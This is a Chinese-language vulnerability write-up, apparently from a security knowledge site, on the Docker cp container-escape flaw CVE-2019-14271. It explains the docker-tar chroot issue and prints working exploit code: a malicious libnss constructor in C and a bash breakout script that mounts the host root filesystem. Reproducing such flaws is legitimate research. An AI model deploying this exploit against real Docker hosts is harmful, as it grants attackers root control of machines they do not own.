menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2019-14271)Docker copy漏洞 chevron_right (CVE-2019-14271)Docker copy漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2019-14271)Docker copy漏洞.md
    5.7 KB / 2021-07-15 19:51:01
        (CVE-2019-14271)Docker copy漏洞
    =================================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    Docker 19.03.1
    
    三、复现过程
    ------------
    
    ### Docker cp
    
    Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix
    cp命令非常相似。要从容器中复制/var/logs,语法是docker cp
    container\_name:/var/logs /some/host/path。
    
    从下图所示,要从容器中将文件复制出去,Docker使用了一个名为docker-tar的帮助进程。
    
    ![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId25.png)
    
    图 1. 从容器中复制文件
    
    docker-tar是通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker
    daemon,然后由daemon提取到主机的目标目录中。
    
    注释:CHROOT就是Change
    Root,也就是改变程序执行时所参考的根目录位置。CHROOT可以增进系统的安全性,限制使用者能做的事。
    
    ![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId26.png)
    
    图 2. docker-tar chroot到容器中
    
    Chroot主要是为了避免系统链接的问题,当主机进程尝试访问容器中的文件时就可能会引发系统链接问题。如果访问的文件中有系统链接,就会解析到host
    root。因此,攻击者控制的容器就可以尝试和诱使docker
    cp在主机而非容器上读写文件。去年有许多Docker和Podman相关的系统链接CVE漏洞。通过chroot到容器的root,docker-tar可以确保所有系统链接都可以高效地解析。
    
    但,chroot到容器然后从容器中复制文件可能会引发很严重的安全问题。
    
    ### CVE-2019-14271
    
    Docker是用Golang语言编写。有漏洞的Docker版本是用Go
    v1.11编译的。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库。这些包包括net和os/user,都是docker-tar使用的,而且在运行时会加载多个libnss\_\*.so库。一般来说,库是从host文件系统加载的,但因为docker-tarchroot到了容器,因此会从容器文件系统中加载库。也就是说docker-tat会加载和执行来源于容器或由容器控制的代码。
    
    需要说明的是,除了chroot到容器文件系统外,docker-tar并没有被容器化。它是在host命名空间运行的,权限为root全新且不受限于cgroups或seccomp。因此,通过注入代码到docker-tar,恶意容器就可以获取host主机的完全root访问权限。
    
    可能的攻击场景有Docker用户从另一个Docker处复制文件:
    
    容器运行含有恶意libnss\_\*.so库的镜像
    
    容器中含有被攻击者替换的libnss\_\*.so库
    
    在这两种情况下,攻击者都可以获取主机上的root代码执行权限。
    
    ### 漏洞利用
    
    为利用该漏洞,研究人员需要先创建一个恶意libnss库。研究人员随意选择了libnss\_files.so文件,下载了库函数的源码,并在代码中加入了一个函数------run\_at\_link()。研究人员还为该函数定义了constructor属性。constructor属性表明run\_at\_link函数在进程加载时会作为库的初始化函数执行。也就是说,当Docker-tar进程动态加载恶意库时,run\_at\_link函数就会执行。下面是run\_at\_link的代码:
    
        #include ...
    
        #define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
        #define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
    
        bool is_priviliged();
    
        __attribute__ ((constructor)) void run_at_link(void)
        {
             char * argv_break[2];
             if (!is_priviliged())
                   return;
    
             rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
             fprintf(log_fp, "switched back to the original libnss_file.so");
    
             if (!fork())
             {
    
                   // Child runs breakout
                   argv_break[0] = strdup("/breakout");
                   argv_break[1] = NULL;
                   execve("/breakout", argv_break, NULL);
             }
             else
                   wait(NULL); // Wait for child
    
             return;
        }
        bool is_priviliged()
        {
             FILE * proc_file = fopen("/proc/self/exe", "r");
             if (proc_file != NULL)
             {
                   fclose(proc_file);
                   return false; // can open so /proc exists, not privileged
             }
             return true; // we're running in the context of docker-tar
        }
    
    查/proc目录完成的。如果run\_at\_link运行在docker-tar环境下,那么目录就是空的,因为procfs挂载在/proc上只存在于容器的mount命名空间。
    
    然后,run\_at\_link会用恶意libnss库替换原始库。这保证了漏洞利用运行的随后进程不会意外加载恶意版本,并触发run\_at\_link执行。
    
    为简化该漏洞利用,run\_at\_link会尝试在容器的/breakout路径下运行可执行文件。这样漏洞利用的其他部分就可以用bash写入,而非C语言。让逻辑的其他部分在run\_at\_link外,意味着在漏洞利用每次变化后无需重新编译恶意库,只需改变breakout二进制文件就可以了。
    
    ![](./resource/(CVE-2019-14271)Dockercopy漏洞/media/rId29.png)
    
    利用CVE-2019-14271打破Docker
    
    在该漏洞视频中,Docker用户会运行含有恶意libnss\_files.so的恶意镜像,然后尝试从容器中复制一些日志。镜像中的/breakout二进制文件是一个简单的bash脚步,会挂载host文件系统到/host\_fs的容器中,并将消息写入host的/evil目录。/breakout脚本代码如下:
    
        umount /host_fs && rm -rf /host_fs
        mkdir /host_fs
    
    
        mount -t proc none /proc     # mount the host's procfs over /proc
        cd /proc/1/root              # chdir to host's root
        mount --bind . /host_fs      # mount host root at /host_fs
        echo "Hello from within the container!" > /host_fs/evil
    
    四、参考链接
    ------------
    
    > https://xz.aliyun.com/t/6806
    
    
    links
    file_download